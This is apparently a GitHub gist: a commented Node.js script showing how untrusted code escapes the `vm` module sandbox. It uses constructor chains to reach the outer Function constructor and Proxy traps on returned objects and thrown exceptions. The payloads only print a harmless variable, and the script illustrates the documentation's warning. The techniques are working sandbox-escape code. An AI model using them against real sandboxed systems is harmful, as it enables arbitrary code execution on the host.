Skip to content

Instantly share code, notes, and snippets.

@jcreedcmu
Created February 19, 2018 18:09
Show Gist options
  • Save jcreedcmu/4f6e6d4a649405a9c86bb076905696af to your computer and use it in GitHub Desktop.
Save jcreedcmu/4f6e6d4a649405a9c86bb076905696af to your computer and use it in GitHub Desktop.

Revisions

  1. jcreedcmu created this gist Feb 19, 2018.
    141 changes: 141 additions & 0 deletions escape.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,141 @@
    ////////
    // The vm module lets you run a string containing javascript code 'in
    // a sandbox', where you specify a context of global variables that
    // exist for the duration of its execution. This works more or less
    // well, and if you're in control of the code that's running, and you
    // have a reasonable protocol in mind// for how it expects a certain
    // context to exist and interacts with it --- like, maybe a plug-in
    // API for a program, with some endpoints defined for it that do
    // useful domain-specific things --- your life can go smoothly.

    // However, the documentation [https://nodejs.org/api/vm.html] says
    // very pointedly:
    // Note: The vm module is not a security mechanism. Do not use it
    // to run untrusted code.
    // because untrusted code as a number of avenues for maliciously
    // escaping the sandbox. Here's a few of them that I like,
    // derived in part from things I learned reading
    // [https://github.com/patriksimek/vm2/issues/32]
    vm = require('vm');

    ////////
    // A global variable the sandbox isn't supposed to see:

    sauce = "laser"; // 'laser is the sauce'
    // [https://www.theregister.co.uk/2018/02/08/waymo_uber_trial/]

    ////////
    // If you directly access the variable from inside the sandbox, you don't
    // get to see it.
    const code1 = `"this is the sauce " + sauce`;
    try {
    console.log(vm.runInContext(code1, vm.createContext({})));
    }
    catch(e) {
    console.log("I expected this to go wrong:", e);
    // We see: "ReferenceError: sauce is not defined"
    }

    ////////
    // But here's a funny thing. That empty object we passed as the constructor?
    // Like every other object, it has a constructor.
    console.log(({}).constructor); // -> [Function: Object]

    // And that constructor has a constructor, which is the constructor of
    // Functions.
    console.log(({}).constructor.constructor); // -> [Function: Function]

    // Did you know that if you call the Function constructor with a
    // string argument, it basically does an eval and makes a function
    // whose body is that string?
    console.log(new Function("return (1+2)")()); // -> 3
    console.log(({}).constructor.constructor("return (1+2)")()); // -> 3
    console.log(({}).constructor.constructor("return sauce")()); // -> laser

    // And the initial value of 'this' when we run in a vm is the global
    // context object.
    console.log(vm.runInContext(`this.a`, vm.createContext({a: 17}))); // -> 17

    // Here's the critical thing: even if we take the 'empty' object, its
    // constructor's constructor is still the geniune real Function that lives
    // *outside* the vm, and constructs functions that run outside the vm.
    // So if we do the following:

    const code2 = `(this.constructor.constructor("return sauce"))()`;
    console.log(vm.runInContext(code2, vm.createContext({}))); // -> laser

    // ...we leak data from the global context into the vm.

    ////////
    // This particular vector can be patched up by passing in a more restricted object
    // as a context:
    try {
    console.log(vm.runInContext(code2, vm.createContext(Object.create(null))));
    }
    catch(e) {
    console.log("I expected this to go wrong:", e);
    // We see: "ReferenceError: sauce is not defined"
    }

    // But this means we can't easily pass *any* data into the vm without
    // worrying that some data somewhere has a reference to the global
    // Object or Function or almost anything that has a chain of
    // .constructor or .__proto or anything else that eventually yields
    // the real outer Function constructor.

    ////////
    // Suppose we're ok with that limitation with respect to the vm
    // context object. It's *still* dangerous to interact with any data
    // that the untrusted vm code returns, because it might get hold of
    // indirect references to Function via proxies:

    const code3 = `new Proxy({}, {
    set: function(me, key, value) { (value.constructor.constructor('console.log(sauce)'))() }
    })`;

    data = vm.runInContext(code3, vm.createContext(Object.create(null)));
    // This line executes the setter proxy function, and
    // prints out 'laser' despite no console.log immediately present.
    data['some_key'] = {};

    ////////
    // Even *reading* fields from returned data can be exploited, since
    // the call stack when the proxy function is executed contains frames
    // with references back to the real function:

    const code4 = `new Proxy({}, {
    get: function(me, key) { (arguments.callee.caller.constructor('console.log(sauce)'))() }
    })`;

    data = vm.runInContext(code4, vm.createContext(Object.create(null)));
    // The following executes the getter proxy function, and
    // prints out 'laser' despite no console.log immediately present.
    if (data['some_key']) {

    }

    ////////
    // Also, the vm code could throw an exception, with proxies on it.

    const code5 = `throw new Proxy({}, {
    get: function(me, key) {
    const cc = arguments.callee.caller;
    if (cc != null) {
    (cc.constructor.constructor('console.log(sauce)'))();
    }
    return me[key];
    }
    })`;


    try {
    vm.runInContext(code5, vm.createContext(Object.create(null)));
    }
    catch(e) {
    // The following prints out 'laser' twice, (as side-effects of e
    // being converted to a string) followed by {}, which is the effect
    // of the console.log actually *on* this line printing out the
    // stringified value of the exception, which is in this case a
    // (proxy-wrapped) empty object.
    console.log(e);
    }